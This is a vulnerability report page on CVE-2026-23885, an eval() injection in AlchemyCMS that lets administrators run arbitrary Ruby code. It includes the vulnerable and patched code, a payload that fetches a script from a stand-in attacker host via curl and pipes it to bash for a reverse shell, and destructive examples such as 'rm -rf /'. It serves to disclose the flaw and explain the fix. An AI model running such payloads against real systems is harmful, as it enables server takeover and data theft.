CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-23885

AlchemyCMS: Turning Configuration into Remote Code Execution

Alon Barad
Alon Barad
Software Engineer

Jan 21, 2026·5 min read·45 visits

Executive Summary (TL;DR)

The AlchemyCMS team literally ignored a security linter warning to use `eval()` on user-supplied configuration data. This allows anyone with administrative access to inject Ruby code, leading to RCE. Fixed in 7.4.12 and 8.0.3 by switching to `public_send`.

A classic case of 'eval()' injection in AlchemyCMS allows authenticated administrators to escalate their privileges to full Remote Code Execution on the underlying server. The vulnerability stems from a helper method that prioritized flexibility over sanity, complete with a suppressed linting warning.

The Hook: When Flexibility Meets Stupidity

AlchemyCMS is a robust, open-source Content Management System for Ruby on Rails. It's designed to be flexible, modular, and developer-friendly. But sometimes, in the pursuit of making things 'dynamic', developers forget that not every string in a database or configuration file is a friend.

In this episode of 'Why is my server mining crypto?', we look at Alchemy::ResourcesHelper. This component is responsible for generating URLs for various resources within the CMS. To handle different Rails engines (modular mini-applications), the developers needed a way to dynamically determine which engine context to use.

Instead of a lookup table or a safe method dispatch, they reached for the nuclear option: Ruby's eval(). It's the programming equivalent of using a chainsaw to slice bread—it works, but if you slip, you lose a limb.

The Flaw: A Linter Warning Ignored

The vulnerability lies in app/helpers/alchemy/resources_helper.rb, specifically in the resource_url_proxy method. This method checks if a resource belongs to a specific engine and, if so, tries to execute the engine's name to get the proxy object.

The problem is how they executed it. They took resource_handler.engine_name—a string that can be influenced by administrative configuration—and passed it directly into eval().

Here is the kicker: Rubocop (the Ruby static code analyzer) screams at you when you use eval. It knows it's dangerous. The developers knew it was dangerous. How do we know? They explicitly added a comment to shut Rubocop up: # rubocop:disable Security/Eval. It is the digital equivalent of putting a piece of tape over your car's 'Check Engine' light.

The Code: The Smoking Gun

Let's look at the crime scene. The vulnerable code takes the engine name and executes it as raw Ruby code. If engine_name is 'main_app', it returns the main app proxy. If engine_name is 'system("rm -rf /")', well, you can guess what happens.

Vulnerable Code (Pre-Patch)

def resource_url_proxy
  if resource_handler.in_engine?
    # The developer looked at the warning and said "I live dangerously."
    eval(resource_handler.engine_name) # rubocop:disable Security/Eval
  else
    main_app
  end
end

The fix was embarrassingly simple. Ruby has a method called public_send (or just send) which calls a method on an object by name. It doesn't parse syntax; it just dispatches a message. If you try to send "system('id')", it just looks for a method with that literal garbage name and raises a NoMethodError. Secure, safe, sane.

Fixed Code (Post-Patch)

def resource_url_proxy
  if resource_handler.in_engine?
    # The "I like keeping my job" approach
    public_send(resource_handler.engine_name)
  else
    main_app
  end
end

The Exploit: From Config to Shell

Exploiting this requires High privileges, which is why the CVSS score is a deceptive 6.6. You need to be an Admin, or have the ability to modify the modules.yml configuration. However, 'Admin' in a CMS often just means 'Content Manager', not 'Server Sysadmin'. This exploit bridges that gap immediately.

An attacker logs into the AlchemyCMS backend. They locate the module configuration (either via a settings UI or by compromising a file if they have local write access). They modify the definition of a resource's engine name.

The Attack Chain

The payload needs to do two things: execute the malicious command, and return a valid object so the CMS doesn't crash immediately (which might leave a log trace or alert an admin).

Ruby Payload

# This executes the command and then returns 'main_app' to keep the app running
"system('curl http://attacker.com/revshell | bash'); main_app"

When the admin navigates to any page that lists resources (like the sitemap or resource index), the helper fires, the eval executes, and the reverse shell connects back home.

The Impact: Why "Authenticated" Doesn't Mean "Safe"

A common dismissal of vulnerabilities like this is: "But you need to be an admin! If they are admin, you are already owned!" This is false.

In modern web architecture, an Application Admin is rarely the same as a System Root User. An Application Admin should be able to edit blog posts, not execute cat /etc/shadow.

CVE-2026-23885 breaks the isolation between the Application Layer and the Operating System. It allows an attacker who compromised a marketing manager's credentials (who happens to have CMS admin rights) to pivot into the server infrastructure, dump database credentials, install persistence, and move laterally into the internal network.

Furthermore, if the configuration is stored in a database that is susceptible to SQL Injection, a lower-privileged attacker could inject the payload into the config via SQLi, and then trigger the RCE just by browsing the site.

The Fix: Update Your Gems

The remediation is straightforward: Update AlchemyCMS.

Patched Versions

  • v7.4.12
  • v8.0.3

If you cannot update immediately (perhaps you are running a legacy fork), you can monkey-patch the helper in an initializer. Do not try to sanitize the input for eval. Just switch to public_send like the official patch did.

> [!NOTE] > This vulnerability serves as a harsh lesson in code review: If you see a linter disable comment for a security rule, that code block should be guilty until proven innocent.

Official Patches

AlchemyCMSOfficial GitHub Security Advisory

Fix Analysis (2)

Technical Appendix

CVSS Score
6.6/ 10
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H
EPSS Probability
0.05%
Top 85% most exploited

Affected Systems

AlchemyCMS < 7.4.12AlchemyCMS 8.0.0.a - 8.0.2

Affected Versions Detail

Product
Affected Versions
Fixed Version
AlchemyCMS
AlchemyCMS
< 7.4.127.4.12
AlchemyCMS
AlchemyCMS
>= 8.0.0.a, <= 8.0.28.0.3
AttributeDetail
CWE IDCWE-95 (Improper Neutralization of Directives in Dynamically Evaluated Code)
CVSS Score6.6 (Medium)
Attack VectorNetwork (Authenticated)
ImpactRemote Code Execution (RCE)
Exploit StatusPoC Available
Patch Date2026-01-19

MITRE ATT&CK Mapping

T1059.006Command and Scripting Interpreter: Python
Execution
T1210Exploitation of Remote Services
Lateral Movement
T1078Valid Accounts
Initial Access
CWE-95
Eval Injection

The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes code syntax directives before using the input in a dynamic evaluation call (e.g. 'eval').

Known Exploits & Detection

GitHubProof of Concept demonstrating eval injection via simulated OpenStruct handler

Vulnerability Timeline

Vulnerability discovered during audit
2026-01-17
CVE Published and Patches Released
2026-01-19
Public PoC Released
2026-01-20

References & Sources

  • [1]Patch Commit v7.4
  • [2]NVD Detail

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•42 minutes ago•CVE-2026-105844
9.3

CVE-2026-105844: Remote Code Execution via Prototype Pollution in @payloadcms/plugin-import-export

A critical prototype pollution vulnerability in the import-export plugin of Payload CMS allows unauthenticated remote attackers to bypass access controls and achieve remote code execution.

Alon Barad
Alon Barad
1 views•6 min read
•about 2 hours ago•CVE-2026-105806
8.6

CVE-2026-105806: Privilege Escalation and Missing Authorization in @payloadcms/plugin-mcp

CVE-2026-105806 is an improper access control vulnerability within the Model Context Protocol (MCP) plugin for Payload CMS. Authenticated users with low privileges can manipulate API key creation and mapping to associate keys with arbitrary users, including administrators. This allows total session takeovers and privilege escalation via MCP-authenticated API requests.

Alon Barad
Alon Barad
6 views•5 min read
•about 3 hours ago•CVE-2026-105848
6.4

CVE-2026-105848: Insufficient Access Control in Payload CMS Stripe REST Proxy

An access control vulnerability in `@payloadcms/plugin-stripe` allows authenticated low-privilege users to bypass authorization boundaries and execute arbitrary, highly privileged operations on the connected Stripe platform via an exposed REST proxy.

Alon Barad
Alon Barad
6 views•7 min read
•about 4 hours ago•CVE-2026-105851
9.3

CVE-2026-105851: Privilege Escalation via Field Access Control Bypass in Payload CMS Duplication Mechanism

A critical access control bypass vulnerability (CVE-2026-105851) in Payload CMS allows authenticated users to bypass field-level access controls during document duplication. By duplicating high-privilege documents, such as administrator accounts, standard users can inherit sensitive fields (e.g., role configurations or API keys), leading to privilege escalation.

Alon Barad
Alon Barad
6 views•7 min read
•about 5 hours ago•CVE-2026-105853
7.1

CVE-2026-105853: Sensitive Information Disclosure and Authentication Collection Boundary Bypass in Payload CMS

CVE-2026-105853 is a high-severity information disclosure vulnerability in Payload CMS that affects authentication-enabled collections. In vulnerable versions, the application fails to properly serialize and sanitize user documents during token refresh and password reset operations. This deficiency leaks hidden and read-restricted fields to unauthorized actors. Additionally, a logical flaw in token refresh validation allows low-privileged users to cross collection boundaries, exposing sensitive configuration details and administrative metadata.

Amit Schendel
Amit Schendel
6 views•5 min read
•about 6 hours ago•CVE-2026-105852
5.3

CVE-2026-105852: Authorization Bypass and Related-Document Oracle in Payload CMS

An authorization bypass vulnerability in Payload CMS enables unauthenticated attackers to query and infer the existence of restricted documents via nested relationship queries on public collections. This cross-document contamination flaw affects both MongoDB and Drizzle SQL database adapters, allowing unauthorized reads of relationship metadata.

Amit Schendel
Amit Schendel
5 views•6 min read